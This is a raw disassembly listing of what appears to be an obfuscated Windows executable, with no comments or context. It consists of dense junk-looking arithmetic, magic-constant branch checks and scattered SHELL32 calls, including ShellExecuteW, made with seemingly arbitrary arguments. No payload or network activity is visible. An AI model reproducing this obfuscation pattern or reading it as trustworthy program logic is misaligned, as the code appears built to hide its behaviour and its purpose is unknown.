mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x61e8], rax
movzx eax, word [rsp + 0xabc]
movzx ecx, word [rsp + 0xaa0]
shl eax, cl
mov word [rsp + 0xab8], ax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x61]
sar eax, cl
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
or eax, ecx
mov word [rsp + 0xabc], ax
cmp dword [rsp + 0x3558], 0x97b3
jb 0x140006dcc
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x3628], al
cmp byte [rsp + 0x3628], 0
je 0x14000721e
jmp 0x140141dd5
cmp dword [rsp + 0x3574], 0x1f09
je 0x1400074f3
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
xor eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x3574]
add eax, 0xd
mov dword [rsp + 0x3574], eax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xabc]
sar eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e8], rax
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35c4], eax
movzx eax, byte [0x1401c16d2]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [0x1401c02c8]
sar eax, cl
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov eax, dword [rsp + 0x351c]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x6260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6260]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x35e8], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3518], eax
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
jmp 0x14000721e
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov edx, dword [rsp + 0x3518]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x140007587
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
movzx ecx, byte [rsp + 0x61]
mov rdx, qword [rsp + 0x6170]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x140007577
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x66], al
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
lea rax, [rsp + 0x35c4]
mov qword [rsp + 0x6268], rax
cmp dword [rsp + 0x3534], 0x4483
je 0x140007b40
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x61f8]
mov qword [rsp + 0x6270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6270]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3518], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xabc]
add eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [0x1401c02c0]
mov rcx, qword [rsp + 0x61c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6268]
mov rcx, qword [rsp + 0x6248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xabc]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
shl eax, cl
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x6278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1401c02b8], eax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x6078]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6268]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xabc]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xaa8], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6078]
shl rax, cl
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov eax, dword [rsp + 0x351c]
movzx ecx, al
mov eax, dword [rsp + 0x35c4]
shr eax, cl
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xab4]
or eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov eax, dword [rsp + 0x3534]
add eax, 0x1e
mov dword [rsp + 0x3534], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x6268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3518]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
sub eax, ecx
mov word [rsp + 0xab8], ax
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
or eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [rsp + 0x61]
xor eax, ecx
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x351c]
movzx ecx, al
mov eax, dword [rsp + 0x35e8]
shr eax, cl
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x61c8]
movzx ecx, al
mov rax, qword [rsp + 0x61e8]
shl rax, cl
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x6078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
jmp 0x140007587
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xa9c]
add ecx, edx
cmp eax, ecx
je 0x140007c08
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
movzx edx, byte [0x1401c16d2]
and ecx, edx
cmp eax, ecx
jne 0x140007be8
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3518]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rcx, qword [rsp + 0x6280]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x6288], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
mov word [rsp + 0xab4], ax
jmp 0x140007c03
lea rdx, [rsp + 0x63]
lea rcx, [rsp + 0x61a8]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x6290], rax
jmp 0x140007cad
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x350c]
mov edx, dword [rsp + 0x3518]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140007cad
mov rax, qword [rsp + 0x61d0]
movzx eax, byte [rax]
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x362c], eax
cmp dword [rsp + 0x362c], 0x7c55
je 0x140007c5f
jmp 0x140007c91
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [rsp + 0x63]
or eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xabc]
sar eax, cl
mov word [rsp + 0xaac], ax
jmp 0x140007cad
movzx eax, word [0x1401c02c8]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6208]
mov rdx, qword [rsp + 0x6180]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x140007d57
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6208]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xc6
lea r9, [rsp + 0x6178]
mov r8d, 0x29
lea rdx, [rsp + 0xaa0]
lea rcx, [rsp + 0x3630]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x3630], eax
jmp 0x140141d50
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x350c]
mov edx, dword [rsp + 0x3518]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140141d50
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x3634], al
cmp byte [rsp + 0x3634], 0
je 0x140007db3
cmp byte [rsp + 0x3634], 0x4a
je 0x140141d09
jmp 0x140141d16
cmp dword [rsp + 0x3598], 0x1043f
ja 0x1400080da
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6268]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x3598]
add eax, 0xcd
mov dword [rsp + 0x3598], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x61f8]
mov qword [rsp + 0x6298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6298]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x6248]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1401c02b8], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x62a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6180], rax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab0], ax
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xaa0]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [0x1401c02c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6080]
mov rcx, qword [rsp + 0x6268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401c02cc], eax
jmp 0x140007db3
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [0x1401c02c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov rdx, qword [rsp + 0x61c8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140008292
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x65]
sar eax, cl
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x62]
xor ecx, edx
cmp eax, ecx
jge 0x14000826d
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov byte [rsp + 0x3638], al
cmp byte [rsp + 0x3638], 0x9d
je 0x140008155
jmp 0x14000824d
movzx eax, word [rsp + 0xabc]
movzx ecx, word [rsp + 0xab8]
or eax, ecx
movzx ecx, word [rsp + 0xaac]
mov rdx, qword [rsp + 0x6110]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x1400081f3
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x3588]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3518]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov r8d, 1
lea rdx, [rsp + 0x35b8]
lea rcx, [rsp + 0x3504]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x62a8], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [rsp + 0x61], al
jmp 0x14000824b
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3504]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3588]
mov edx, dword [rsp + 0x35e8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14000824b
movzx r9d, word [rsp + 0xab4]
mov r8, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x6208]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6168]
movzx ecx, word [rax]
call fcn.1401429f0
nop
jmp 0x14000826d
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
add eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6168]
movzx eax, word [rax]
mov word [rsp + 0xac0], ax
lea rax, [rsp + 0x62]
mov qword [rsp + 0x62b0], rax
jmp 0x1400083c4
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c02c0]
mov rdx, qword [rsp + 0x61c8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jl 0x1400083c4
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
sub eax, ecx
movsx ecx, word [rsp + 0xab4]
movsx edx, word [rsp + 0xac0]
add ecx, edx
cmp eax, ecx
jge 0x1400083c4
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
xor eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov dword [rsp + 0x363c], eax
cmp dword [rsp + 0x363c], 0xc143
je 0x140008335
jmp 0x140008387
mov ecx, 0xfb
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x3640], eax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3588]
shl eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x61c8], rax
jmp 0x1400083c4
mov dword [rsp + 0x28], 0x85
lea rax, [rsp + 0x3508]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x61a8]
mov r8d, 6
mov edx, 0x84
mov rcx, qword [rsp + 0x6228]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x3644], eax
mov dword [rsp + 0x3648], 0xf5bf
lea rax, [rsp + 0xac0]
mov qword [0x1401c16d8], rax
mov dword [rsp + 0x364c], 0x7697
mov eax, dword [rsp + 0x3504]
mov dword [rsp + 0x3650], eax
cmp dword [rsp + 0x3650], 0x67c7
je 0x140008409
jmp 0x1400084d7
mov rax, qword [rsp + 0x61c8]
mov qword [rsp + 0x62b8], rax
movabs rax, 0x7dcdaee05f5e4c
cmp qword [rsp + 0x62b8], rax
je 0x140008432
jmp 0x1400084b4
mov dword [rsp + 0x28], 0x42
mov rax, qword [rsp + 0x6280]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x62c0]
mov r8, qword [rsp + 0x6228]
mov rdx, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x60b0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x62c8], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [0x1401c16d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xab4], ax
jmp 0x1400084d2
lea rdx, [rsp + 0x60e0]
lea rcx, [rsp + 0x6218]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x62d0], rax
jmp 0x140141cea
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov qword [rsp + 0x62d8], rax
movabs rax, 0x712be92bc14786
cmp qword [rsp + 0x62d8], rax
je 0x140008517
movabs rax, 0x7a4c6e9d4ac8b4
cmp qword [rsp + 0x62d8], rax
je 0x14000852c
jmp 0x14000860d
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0x67], al
jmp 0x14000860d
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov dword [rsp + 0x3654], eax
cmp dword [rsp + 0x3654], 0x6dbe
je 0x1400085f3
cmp dword [rsp + 0x3654], 0x87a6
je 0x140008560
jmp 0x14000860d
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6150]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400085b9
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
and eax, ecx
